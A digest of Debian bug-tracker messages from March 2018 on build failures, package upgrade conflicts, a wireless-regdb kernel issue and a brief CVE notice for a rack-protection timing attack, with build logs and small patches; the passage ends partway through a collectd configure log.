Processed: found 883352 in 1.3.2-1

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> found 883352 1.3.2-1
Bug #883352 [src:php-doctrine-cache-bundle] php-doctrine-cache-bundle FTBFS: 
test failures
Marked as found in versions php-doctrine-cache-bundle/1.3.2-1.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
883352: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=883352
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#892250: ruby-rack-protection: CVE-2018-1000119: Timing attack in authenticity_token.rb

[Salvatore Bonaccorso]

Source: ruby-rack-protection
Version: 1.5.2-1
Severity: grave
Tags: patch security upstream

Hi,

the following vulnerability was published for ruby-rack-protection.

CVE-2018-1000119[0]:
Timing attack in authenticity_token.rb

If you fix the vulnerability please also make sure to include the
CVE (Common Vulnerabilities & Exposures) id in your changelog entry.

For further information see:

[0] https://security-tracker.debian.org/tracker/CVE-2018-1000119
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1000119
[1] 
https://github.com/sinatra/sinatra/commit/8aa6c42ef724f93ae309fb7c5668e19ad547eceb
[2] https://bugzilla.redhat.com/show_bug.cgi?id=1534027

Please adjust the affected versions in the BTS as needed.

Regards,
Salvatore

Bug#891512: marked as done (texlive-fonts-extra-links: fails to upgrade from 'testing' - trying to overwrite /usr/share/texlive/texmf-dist/fonts/opentype/arkandis/berenisadf/BerenisADFPro-Bold.otf)

[Debian Bug Tracking System]

Your message dated Wed, 07 Mar 2018 03:15:29 +
with message-id 
and subject line Bug#891512: fixed in texlive-extra 2017.20180305-2
has caused the Debian Bug report #891512,
regarding texlive-fonts-extra-links: fails to upgrade from 'testing' - trying 
to overwrite 
/usr/share/texlive/texmf-dist/fonts/opentype/arkandis/berenisadf/BerenisADFPro-Bold.otf
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
891512: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=891512
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: texlive-fonts-extra-links
Version: 2017.20180225-1
Severity: serious
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package fails to upgrade from
'testing'.
It installed fine in 'testing', then the upgrade to 'sid' fails
because it tries to overwrite other packages files without declaring a
Breaks+Replaces relation.

See policy 7.6 at
https://www.debian.org/doc/debian-policy/#overwriting-files-and-replacing-packages-replaces

>From the attached log (scroll to the bottom...):

  Selecting previously unselected package texlive-fonts-extra-links.
  Preparing to unpack .../37-texlive-fonts-extra-links_2017.20180225-1_all.deb 
...
  Unpacking texlive-fonts-extra-links (2017.20180225-1) ...
  dpkg: error processing archive 
/tmp/apt-dpkg-install-lMvF9r/37-texlive-fonts-extra-links_2017.20180225-1_all.deb
 (--unpack):
   trying to overwrite 
'/usr/share/texlive/texmf-dist/fonts/opentype/arkandis/berenisadf/BerenisADFPro-Bold.otf',
 which is also in package texlive-fonts-extra 2017.20180110-1
  Errors were encountered while processing:
   
/tmp/apt-dpkg-install-lMvF9r/37-texlive-fonts-extra-links_2017.20180225-1_all.deb


cheers,

Andreas


texlive-fonts-extra=2017.20180110-1_texlive-fonts-extra-links=2017.20180225-1.log.gz
Description: application/gzip
--- End Message ---
--- Begin Message ---
Source: texlive-extra
Source-Version: 2017.20180305-2

We believe that the bug you reported is fixed in the latest version of
texlive-extra, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 891...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Norbert Preining  (supplier of updated texlive-extra 
package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Format: 1.8
Date: Tue, 06 Mar 2018 14:18:00 +0900
Source: texlive-extra
Binary: texlive-bibtex-extra texlive-extra-utils texlive-font-utils 
texlive-formats-extra texlive-plain-generic texlive-latex-extra 
texlive-fonts-extra texlive-music texlive-games texlive-pstricks 
texlive-publishers texlive-humanities texlive-science texlive-fonts-extra-links 
texlive-fonts-extra-doc texlive-humanities-doc texlive-latex-extra-doc 
texlive-science-doc texlive-pstricks-doc texlive-publishers-doc
Architecture: source all
Version: 2017.20180305-2
Distribution: unstable
Urgency: medium
Maintainer: Debian TeX Maintainers 
Changed-By: Norbert Preining 
Description:
 texlive-bibtex-extra - TeX Live: BibTeX additional styles
 texlive-extra-utils - TeX Live: TeX auxiliary programs
 texlive-font-utils - TeX Live: Graphics and font utilities
 texlive-fonts-extra - TeX Live: Additional fonts
 texlive-fonts-extra-doc - TeX Live: Documentation files for texlive-fonts-extra
 texlive-fonts-extra-links - TeX Live:
 texlive-formats-extra - TeX Live: Additional formats
 texlive-games - TeX Live: Games typesetting
 texlive-humanities - TeX Live: Humanities packages
 texlive-humanities-doc - TeX Live: Documentation files for texlive-humanities
 texlive-latex-extra - TeX Live: LaTeX additional packages
 texlive-latex-extra-doc - TeX Live: Documentation files for texlive-latex-extra
 texlive-music - TeX Live: Music packages
 texlive-plain-generic - TeX Live: Plain (La)TeX packages
 texlive-pstricks - TeX Live: PSTricks
 texlive-pstricks-doc - TeX Live: Documentation files for texlive-pstricks
 texlive-publishers - TeX Live: Publisher styles, theses, etc.
 texlive-publishers-doc - TeX Live: Documentation files for texlive-publishers
 

Bug#892229: wireless-regdb: incompatible with Linux kernel 4.15

[Ben Hutchings]

Control: retitle -1 wireless-regdb: Missing support for kernel direct loading
Control: severity -1 normal

On Wed, 07 Mar 2018 09:04:22 +0800 Paul Wise  wrote:
> Package: wireless-regdb
> Version: 2016.06.10-1
> Severity: serious
> 
> When I booted Debian's package of Linux kernel 4.15 I noticed this in
> my dmesg and systemd journal, it appears that the Linux kernel has
> changed the name (and possibly format) of the regulatory database from
> regulatory.bin to regulatory.db, making the current wireless-regdb
> incompatible with Linux 4.15.
> 
> kernel: cfg80211: failed to load regulatory.db
> kernel: platform regulatory.0: Direct firmware load for regulatory.db failed 
> with error -2
> kernel: platform regulatory.0: firmware: failed to load regulatory.db (-2)
> kernel: cfg80211: Loaded X.509 cert 'sforshee: 00b28ddf47aef9cea7'
> kernel: cfg80211: Loading compiled-in X.509 certificates for regulatory 
> database

wireless-regdb works in conjunction with crda, and that's still
supported (so far as I can see).

The kernel can also now load a signed db without the need for crda. 
That's what's failing.  Unfortunately this was introduced without a
config option, so it will keep producing these error messages until
wireless-regdb is updated.

Ben.

-- 
Ben Hutchings
Never attribute to conspiracy what can adequately be explained
by stupidity.



signature.asc
Description: This is a digitally signed message part

Processed: Re: wireless-regdb: incompatible with Linux kernel 4.15

[Debian Bug Tracking System]

Processing control commands:

> retitle -1 wireless-regdb: Missing support for kernel direct loading
Bug #892229 [wireless-regdb] wireless-regdb: incompatible with Linux kernel 4.15
Changed Bug title to 'wireless-regdb: Missing support for kernel direct 
loading' from 'wireless-regdb: incompatible with Linux kernel 4.15'.
> severity -1 normal
Bug #892229 [wireless-regdb] wireless-regdb: Missing support for kernel direct 
loading
Severity set to 'normal' from 'serious'

-- 
892229: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892229
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#892229: wireless-regdb: incompatible with Linux kernel 4.15

[Paul Wise]

Package: wireless-regdb
Version: 2016.06.10-1
Severity: serious

When I booted Debian's package of Linux kernel 4.15 I noticed this in
my dmesg and systemd journal, it appears that the Linux kernel has
changed the name (and possibly format) of the regulatory database from
regulatory.bin to regulatory.db, making the current wireless-regdb
incompatible with Linux 4.15.

kernel: cfg80211: failed to load regulatory.db
kernel: platform regulatory.0: Direct firmware load for regulatory.db failed 
with error -2
kernel: platform regulatory.0: firmware: failed to load regulatory.db (-2)
kernel: cfg80211: Loaded X.509 cert 'sforshee: 00b28ddf47aef9cea7'
kernel: cfg80211: Loading compiled-in X.509 certificates for regulatory database

-- System Information:
Debian Release: buster/sid
  APT prefers testing-debug
  APT policy: (900, 'testing-debug'), (900, 'testing'), (800, 
'unstable-debug'), (800, 'unstable'), (790, 'buildd-unstable'), (700, 
'experimental-debug'), (700, 'experimental'), (690, 'buildd-experimental')
Architecture: amd64 (x86_64)

Kernel: Linux 4.15.0-1-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_AU.utf8, LC_CTYPE=en_AU.utf8 (charmap=UTF-8), 
LANGUAGE=en_AU.utf8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

wireless-regdb depends on no packages.

wireless-regdb recommends no packages.

Versions of packages wireless-regdb suggests:
ii  crda  3.18-1

-- 
bye,
pabs

https://wiki.debian.org/PaulWise


signature.asc
Description: This is a digitally signed message part

Bug#892184: marked as done (nvidia-settings: FTBFS on mips64el, ia64, m68k - /usr/bin/ld: failed to merge target specific data)

[Debian Bug Tracking System]

Your message dated Tue, 06 Mar 2018 23:22:30 +
with message-id 
and subject line Bug#892184: fixed in nvidia-settings 390.25-1
has caused the Debian Bug report #892184,
regarding nvidia-settings: FTBFS on mips64el, ia64, m68k - /usr/bin/ld: failed 
to merge target specific data
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
892184: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892184
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: nvidia-settings
Version: 387.34-1
Severity: serious
Tags: sid buster

Hi,

nvidia-settings FTBFS on the above architectures with this error (taken
from mips64el here):
> /usr/bin/ld: _out/debian/antialias.png.o: warning: linking abicalls files 
> with non-abicalls files
> /usr/bin/ld: _out/debian/antialias.png.o: linking 32-bit code with 64-bit code
> /usr/bin/ld: failed to merge target specific data of file 
> _out/debian/antialias.png.o
> /usr/bin/ld: _out/debian/background.png.o: warning: linking abicalls files 
> with non-abicalls files
> /usr/bin/ld: _out/debian/background.png.o: linking 32-bit code with 64-bit 
> code
> /usr/bin/ld: failed to merge target specific data of file 
> _out/debian/background.png.o
[...]
> collect2: error: ld returned 1 exit status

This is caused by trying to generate objects using "ld --format=binary"
which is not portable. In the case of mips64el, that command generates
objects without certain flags set which causes the link errors. These
flags are usually set by gcc.

If you want to do this portably, you have to go through the C compiler.
Using xxd -i is a common method.

Thanks,
James



signature.asc
Description: OpenPGP digital signature
--- End Message ---
--- Begin Message ---
Source: nvidia-settings
Source-Version: 390.25-1

We believe that the bug you reported is fixed in the latest version of
nvidia-settings, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 892...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Andreas Beckmann  (supplier of updated nvidia-settings package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Format: 1.8
Date: Tue, 06 Mar 2018 23:51:27 +0100
Source: nvidia-settings
Binary: nvidia-settings libxnvctrl0 libxnvctrl-dev
Architecture: source
Version: 390.25-1
Distribution: unstable
Urgency: medium
Maintainer: Debian NVIDIA Maintainers 
Changed-By: Andreas Beckmann 
Description:
 libxnvctrl-dev - NV-CONTROL X extension (development files)
 libxnvctrl0 - NV-CONTROL X extension (runtime library)
 nvidia-settings - tool for configuring the NVIDIA graphics driver
Closes: 892184
Changes:
 nvidia-settings (390.25-1) unstable; urgency=medium
 .
   * New upstream release 390.25.
   * Only build nvidia-settings on platforms where it is going to be used.
 (Closes: #892184)
   * Upload to unstable.
Checksums-Sha1:
 aab9a28d88e08db757aaf5514516dd5d36c7d2db 2488 nvidia-settings_390.25-1.dsc
 dcf071d0f3b3e7966895b96e53621d9002ba73cd 1109030 
nvidia-settings_390.25.orig.tar.bz2
 d08b98960ec53f8d615fbe5dabf15f5084758320 22628 
nvidia-settings_390.25-1.debian.tar.xz
 5cc32551fa7b9435766edf9dd68035b4485db285 14172 
nvidia-settings_390.25-1_source.buildinfo
Checksums-Sha256:
 527a8f6474674d81f28336307917278ec1ca2fd619117553c045ca43a88818d3 2488 
nvidia-settings_390.25-1.dsc
 c79bb974e3e716f3448088d72201bb9cfeec8d13ea8dbe5376439bf191c90bca 1109030 
nvidia-settings_390.25.orig.tar.bz2
 256275692838272e926e23905322b3f60f95727a5584dce8a47e2f23386a5f7d 22628 
nvidia-settings_390.25-1.debian.tar.xz
 7b41bf23d9410565b4cc5aec7cc5c7081b7d58c7c8448011f82f62c4d186dc07 14172 
nvidia-settings_390.25-1_source.buildinfo
Files:
 fc0abd073779bd1f8899d61ac4f94346 2488 x11 optional nvidia-settings_390.25-1.dsc
 b9cae3f1435797ade62eb3fc20fcc8af 1109030 x11 optional 
nvidia-settings_390.25.orig.tar.bz2
 3dd0b1efc0f644006c4947e574c8b596 22628 x11 optional 
nvidia-settings_390.25-1.debian.tar.xz
 f270bff867136924ab644dc60e2073ad 14172 x11 optional 
nvidia-settings_390.25-1_source.buildinfo

-BEGIN PGP SIGNATURE-

Bug#890271: marked as done (libcgns: FTBFS with glibc 2.27: undefined reference to `matherr')

[Debian Bug Tracking System]

Your message dated Tue, 06 Mar 2018 23:04:54 +
with message-id 
and subject line Bug#890271: fixed in libcgns 3.3.0-6
has caused the Debian Bug report #890271,
regarding libcgns: FTBFS with glibc 2.27: undefined reference to `matherr'
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
890271: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=890271
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: libcgns
Version: 3.3.0-5
Severity: important
Tags: patch

libcgns 3.3.0-5 fails to build with glibc 2.27 (2.27-0experimental0 from
experimental):

| cd /<>/obj-x86_64-linux-gnu/src/cgnstools/cgnsview && 
/usr/bin/cmake -E cmake_link_script CMakeFiles/cgiowish.dir/link.txt --verbose=1
| /usr/bin/cc -g -O2 -fdebug-prefix-map=/<>=. 
-fstack-protector-strong -Wformat -Werror=format-security -Wdate-time 
-D_FORTIFY_SOURCE=2  -Wl,-z,relro -rdynamic 
CMakeFiles/cgiowish.dir/cgiowish.c.o CMakeFiles/cgiowish.dir/cgiotcl.c.o  -o 
cgiowish  -L. 
-Wl,-rpath,.:/<>/obj-x86_64-linux-gnu/src:/usr/lib/x86_64-linux-gnu/hdf5/serial:
 ../../libcgns.so.3.3 -ltcl -ltk 
/usr/lib/x86_64-linux-gnu/hdf5/serial/libhdf5.so -lpthread -lsz -lz -ldl -lm 
-lX11 -lm 
| 
CMakeFiles/cgiowish.dir/cgiowish.c.o:./obj-x86_64-linux-gnu/src/cgnstools/cgnsview/./src/cgnstools/cgnsview/cgiowish.c:24:
 undefined reference to `matherr'
| collect2: error: ld returned 1 exit status
| src/cgnstools/cgnsview/CMakeFiles/cgiowish.dir/build.make:133: recipe for 
target 'src/cgnstools/cgnsview/cgiowish' failed
| make[3]: *** [src/cgnstools/cgnsview/cgiowish] Error 1
| make[3]: Leaving directory '/<>/obj-x86_64-linux-gnu'
| CMakeFiles/Makefile2:2735: recipe for target 
'src/cgnstools/cgnsview/CMakeFiles/cgiowish.dir/all' failed
| make[2]: *** [src/cgnstools/cgnsview/CMakeFiles/cgiowish.dir/all] Error 2
| make[2]: Leaving directory '/<>/obj-x86_64-linux-gnu'
| Makefile:165: recipe for target 'all' failed
| make[1]: *** [all] Error 2
| make[1]: Leaving directory '/<>/obj-x86_64-linux-gnu'
| dh_auto_build: cd obj-x86_64-linux-gnu && make -j1 returned exit code 2
| debian/rules:20: recipe for target 'build-arch' failed
| make: *** [build-arch] Error 2
| dpkg-buildpackage: error: debian/rules build-arch subprocess returned exit 
status 2

A full build logs is available there:
http://aws-logs.debian.net/2018/02/07/glibc-exp/libcgns_3.3.0-5_unstable_glibc-exp.log

Starting with glibc 2.27, support for matherr (part of SVID
specification) has been removed, causing this FTBFS. It is only used in
libcgns as a workaround for Sun shared libraries. The best way to fix
this FTBFS for Debian is therefore to just disable that part. This is
what the attached patch does.
diff -Nru libcgns-3.3.0/debian/patches/no-matherr.patch 
libcgns-3.3.0/debian/patches/no-matherr.patch
--- libcgns-3.3.0/debian/patches/no-matherr.patch
+++ libcgns-3.3.0/debian/patches/no-matherr.patch
@@ -0,0 +1,58 @@
+Description: Remove matherr hack
+ Remove matherr hack, that is only needed for Sun shared libraries and
+ causes an FTBFS with glibc 2.27 onwards, as SVID error handling has
+ been removed.
+Author: Aurelien Jarno 
+Last-Update: 2018-02-12
+
+--- libcgns-3.3.0.orig/src/cgnstools/cgnscalc/calcwish.c
 libcgns-3.3.0/src/cgnstools/cgnscalc/calcwish.c
+@@ -15,14 +15,6 @@
+ #include "tk.h"
+ #include "locale.h"
+ 
+-/*
+- * The following variable is a special hack that is needed in order for
+- * Sun shared libraries to be used for Tcl.
+- */
+-
+-extern int matherr();
+-int *tclDummyMathPtr = (int *) matherr;
+-
+ #ifdef TK_TEST
+ extern intTcltest_Init _ANSI_ARGS_((Tcl_Interp *interp));
+ extern intTktest_Init _ANSI_ARGS_((Tcl_Interp *interp));
+--- libcgns-3.3.0.orig/src/cgnstools/cgnsplot/plotwish.c
 libcgns-3.3.0/src/cgnstools/cgnsplot/plotwish.c
+@@ -15,14 +15,6 @@
+ #include "tk.h"
+ #include "locale.h"
+ 
+-/*
+- * The following variable is a special hack that is needed in order for
+- * Sun shared libraries to be used for Tcl.
+- */
+-
+-extern int matherr();
+-int *tclDummyMathPtr = (int *) matherr;
+-
+ extern int Cgnstcl_Init _ANSI_ARGS_((Tcl_Interp *interp));
+ extern int Tkogl_Init _ANSI_ARGS_((Tcl_Interp *interp));
+ 
+--- libcgns-3.3.0.orig/src/cgnstools/cgnsview/cgiowish.c
 libcgns-3.3.0/src/cgnstools/cgnsview/cgiowish.c
+@@ -15,14 +15,6 @@
+ #include "tk.h"
+ #include "locale.h"
+ 
+-/*
+- * The following variable is a special hack that is needed in order for
+- * Sun shared libraries to be used for Tcl.
+- */
+-
+-extern int matherr();
+-int *tclDummyMathPtr = (int 

Bug#887760: marked as done (graywolf FTBFS with glibc 2.26)

[Debian Bug Tracking System]

Your message dated Tue, 06 Mar 2018 22:19:45 +
with message-id 
and subject line Bug#887760: fixed in graywolf 0.1.4+20170307gite1bf319-2.1
has caused the Debian Bug report #887760,
regarding graywolf FTBFS with glibc 2.26
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
887760: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=887760
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: graywolf
Version: 0.1.4+20170307gite1bf319-2
Severity: serious
Tags: buster sid

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/graywolf.html

...
/build/1st/graywolf-0.1.4+20170307gite1bf319/src/Ylib/okmalloc.c: In function 
'Ysafe_cfree':
/build/1st/graywolf-0.1.4+20170307gite1bf319/src/Ylib/okmalloc.c:904:5: 
warning: implicit declaration of function 'cfree'; did you mean 'free'? 
[-Wimplicit-function-declaration]
 cfree(ptr);
 ^
...
[ 53%] Linking C executable TimberWolfMC
cd /build/1st/graywolf-0.1.4+20170307gite1bf319/obj-x86_64-linux-gnu/src/twmc 
&& /usr/bin/cmake -E cmake_link_script CMakeFiles/TimberWolfMC.dir/link.txt 
--verbose=1
/usr/bin/cc -g -O2 
-fdebug-prefix-map=/build/1st/graywolf-0.1.4+20170307gite1bf319=. 
-fstack-protector-strong -Wformat -Werror=format-security -Wdate-time 
-D_FORTIFY_SOURCE=2  -Wl,-z,relro -Wl,-z,now -Wl,--as-needed -rdynamic 
CMakeFiles/TimberWolfMC.dir/acceptt.c.o CMakeFiles/TimberWolfMC.dir/analyze.c.o 
CMakeFiles/TimberWolfMC.dir/compact.c.o CMakeFiles/TimberWolfMC.dir/config1.c.o 
CMakeFiles/TimberWolfMC.dir/config2.c.o 
CMakeFiles/TimberWolfMC.dir/configpads.c.o 
CMakeFiles/TimberWolfMC.dir/debug.c.o CMakeFiles/TimberWolfMC.dir/finalout.c.o 
CMakeFiles/TimberWolfMC.dir/finalpin.c.o CMakeFiles/TimberWolfMC.dir/gmain.c.o 
CMakeFiles/TimberWolfMC.dir/findcheck.c.o 
CMakeFiles/TimberWolfMC.dir/findcost.c.o 
CMakeFiles/TimberWolfMC.dir/findloc.c.o 
CMakeFiles/TimberWolfMC.dir/findside.c.o 
CMakeFiles/TimberWolfMC.dir/fixcell.c.o 
CMakeFiles/TimberWolfMC.dir/genorient.c.o 
CMakeFiles/TimberWolfMC.dir/graphics.c.o 
CMakeFiles/TimberWolfMC.dir/initialize.c.o 
CMakeFiles/TimberWolfMC.dir/initnets.c.o 
 CMakeFiles/TimberWolfMC.dir/loadbins.c.o CMakeFiles/TimberWolfMC.dir/main.c.o 
CMakeFiles/TimberWolfMC.dir/makebins.c.o 
CMakeFiles/TimberWolfMC.dir/makesite.c.o 
CMakeFiles/TimberWolfMC.dir/mergecell.c.o 
CMakeFiles/TimberWolfMC.dir/neworient.c.o 
CMakeFiles/TimberWolfMC.dir/newtemp.c.o CMakeFiles/TimberWolfMC.dir/outgeo.c.o 
CMakeFiles/TimberWolfMC.dir/outpin.c.o CMakeFiles/TimberWolfMC.dir/output.c.o 
CMakeFiles/TimberWolfMC.dir/overlap.c.o CMakeFiles/TimberWolfMC.dir/paths.c.o 
CMakeFiles/TimberWolfMC.dir/partition.c.o 
CMakeFiles/TimberWolfMC.dir/penalties.c.o 
CMakeFiles/TimberWolfMC.dir/perimeter.c.o 
CMakeFiles/TimberWolfMC.dir/placepads.c.o 
CMakeFiles/TimberWolfMC.dir/placepin.c.o 
CMakeFiles/TimberWolfMC.dir/prboard.c.o 
CMakeFiles/TimberWolfMC.dir/readcells.c.o 
CMakeFiles/TimberWolfMC.dir/readnets.c.o CMakeFiles/TimberWolfMC.dir/rmain.c.o 
CMakeFiles/TimberWolfMC.dir/readpar.c.o 
CMakeFiles/TimberWolfMC.dir/reconfig.c.o 
CMakeFiles/TimberWolfMC.dir/savewolf.c.o CMakeFiles/TimberWolfMC.di
 r/scrapnet.c.o CMakeFiles/TimberWolfMC.dir/sortpin.c.o 
CMakeFiles/TimberWolfMC.dir/selectpin.c.o 
CMakeFiles/TimberWolfMC.dir/setpwates.c.o 
CMakeFiles/TimberWolfMC.dir/sortpad.c.o CMakeFiles/TimberWolfMC.dir/twstats.c.o 
CMakeFiles/TimberWolfMC.dir/uaspect.c.o CMakeFiles/TimberWolfMC.dir/uloop.c.o 
CMakeFiles/TimberWolfMC.dir/unbust.c.o CMakeFiles/TimberWolfMC.dir/uinst.c.o 
CMakeFiles/TimberWolfMC.dir/unet.c.o CMakeFiles/TimberWolfMC.dir/upin.c.o 
CMakeFiles/TimberWolfMC.dir/upinswap.c.o CMakeFiles/TimberWolfMC.dir/usite1.c.o 
CMakeFiles/TimberWolfMC.dir/usite2.c.o 
CMakeFiles/TimberWolfMC.dir/usoftmove.c.o CMakeFiles/TimberWolfMC.dir/utemp.c.o 
CMakeFiles/TimberWolfMC.dir/watesides.c.o 
CMakeFiles/TimberWolfMC.dir/window.c.o 
CMakeFiles/TimberWolfMC.dir/wirecosts.c.o 
CMakeFiles/TimberWolfMC.dir/wireest.c.o 
CMakeFiles/TimberWolfMC.dir/wireratio.c.o 
CMakeFiles/TimberWolfMC.dir/__/date/date.c.o  -o TimberWolfMC  
-L/build/1st/graywolf-0.1.4+20170307gite1bf319/obj-x86_64-linux-gnu/src/Ylib 
-Wl,-
 
rpath,/build/1st/graywolf-0.1.4+20170307gite1bf319/obj-x86_64-linux-gnu/src/Ylib:
 -lycadgraywolf -lX11 -lm -lgsl -lgslcblas -lm -lgsl -lgslcblas 
/build/1st/graywolf-0.1.4+20170307gite1bf319/obj-x86_64-linux-gnu/src/Ylib/libycadgraywolf.so:
 undefined reference to `cfree'
collect2: error: ld returned 1 exit status
src/twmc/CMakeFiles/TimberWolfMC.dir/build.make:1788: recipe for target 

Bug#891681: Bug #891681 in nova marked as pending

[thomas]

Control: tag -1 pending

Hello,

Bug #891681 in nova reported by you has been fixed in the
Git repository and is awaiting an upload. You can see the commit
message below, and you can check the diff of the fix at:

https://salsa.debian.org/openstack-team/services/nova/commit/aa89c6565b1dcfb10266b3f92e979fefc5a70d99


Add Breaks:+Replaces: python-nova (Closes: #891681).



(this message was generated automatically)
-- 
Greetings

Processed: Bug #891681 in nova marked as pending

[Debian Bug Tracking System]

Processing control commands:

> tag -1 pending
Bug #891681 [python3-nova] python3-nova: fails to upgrade from 'testing' - 
trying to overwrite /usr/share/apport/package-hooks/source_nova.py
Added tag(s) pending.

-- 
891681: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=891681
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#892166: marked as done (collectd FTBFS without protobuf-compiler-grpc )

[Debian Bug Tracking System]

Your message dated Tue, 06 Mar 2018 21:49:30 +
with message-id 
and subject line Bug#892166: fixed in collectd 5.8.0-4
has caused the Debian Bug report #892166,
regarding collectd FTBFS without protobuf-compiler-grpc 
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
892166: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892166
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: collectd
Version: 5.8.0-3
Severity: serious

https://buildd.debian.org/status/package.php?p=collectd=sid

...
  Libraries:
intel mic . . . . . . no (MicAccessApi not found)
libaquaero5 . . . . . no (libaquaero5.h not found)
libatasmart . . . . . yes
libcurl . . . . . . . yes
libdbi  . . . . . . . yes
libdpdk . . . . . . . no (rte_config.h not found)
libesmtp  . . . . . . yes
libganglia  . . . . . yes
libgcrypt . . . . . . yes
libgps  . . . . . . . yes
libgrpc++ . . . . . . no (pkg-config could not find libgrpc++)
libhiredis  . . . . . yes
libi2c-dev  . . . . . yes
libiokit  . . . . . . no
libiptc . . . . . . . yes
libjevents  . . . . . no (jevents.h not found)
libjvm  . . . . . . . yes
libkstat  . . . . . . no (Solaris only)
libkvm  . . . . . . . no
libldap . . . . . . . yes
liblua  . . . . . . . yes
liblvm2app  . . . . . yes
libmemcached  . . . . yes
libmicrohttpd . . . . yes
libmnl  . . . . . . . yes
libmodbus . . . . . . yes
libmongoc . . . . . . yes
libmosquitto  . . . . yes
libmysql  . . . . . . yes
libnetapp . . . . . . no (netapp_api.h not found)
libnetsnmp  . . . . . yes
libnetsnmpagent . . . yes
libnotify . . . . . . yes
libopenipmi . . . . . yes
liboping  . . . . . . yes
libowcapi . . . . . . yes
libpcap . . . . . . . yes
libperfstat . . . . . no (AIX only)
libperl . . . . . . . yes (version 5.26.1)
libpq . . . . . . . . yes
libpqos . . . . . . . no (pqos.h not found)
libprotobuf . . . . . yes
libprotobuf-c . . . . yes
libpython . . . . . . yes
librabbitmq . . . . . yes
libriemann-client . . yes
librdkafka  . . . . . yes
librouteros . . . . . no (routeros_api.h not found)
librrd  . . . . . . . yes
libsensors  . . . . . yes
libsigrok   . . . . . no (pkg-config could not find libsigrok)
libstatgrab . . . . . no
libtokyotyrant  . . . yes
libudev . . . . . . . yes
libupsclient  . . . . yes
libvarnish  . . . . . yes
libvirt . . . . . . . yes
libxenctrl  . . . . . no (xenctrl.h not found)
libxml2 . . . . . . . yes
libxmms . . . . . . . no
libyajl . . . . . . . yes
oracle  . . . . . . . no (ORACLE_HOME is not set)
protobuf-c  . . . . . yes
protoc 3  . . . . . . yes

  Features:
daemon mode . . . . . yes
debug . . . . . . . . no

  Bindings:
perl  . . . . . . . . yes (INSTALLDIRS=vendor INSTALL_BASE=)

  Modules:
aggregation . . . . . yes
amqp. . . . . . . yes
apache  . . . . . . . yes
apcups  . . . . . . . yes
apple_sensors . . . . no (disabled on command line)
aquaero . . . . . . . no (disabled on command line)
ascent  . . . . . . . yes
barometer . . . . . . yes
battery . . . . . . . yes
bind  . . . . . . . . yes
ceph  . . . . . . . . yes
cgroups . . . . . . . yes
chrony. . . . . . . . yes
conntrack . . . . . . yes
contextswitch . . . . yes
cpu . . . . . . . . . yes
cpufreq . . . . . . . yes
cpusleep  . . . . . . yes
csv . . . . . . . . . yes
curl  . . . . . . . . yes
curl_json . . . . . . yes
curl_xml  . . . . . . yes
dbi . . . . . . . . . yes
df  . . . . . . . . . yes
disk  . . . . . . . . yes
dns . . . . . . . . . yes
dpdkevents. . . . . . no (disabled on command line)
dpdkstat  . . . . . . no (disabled on command line)
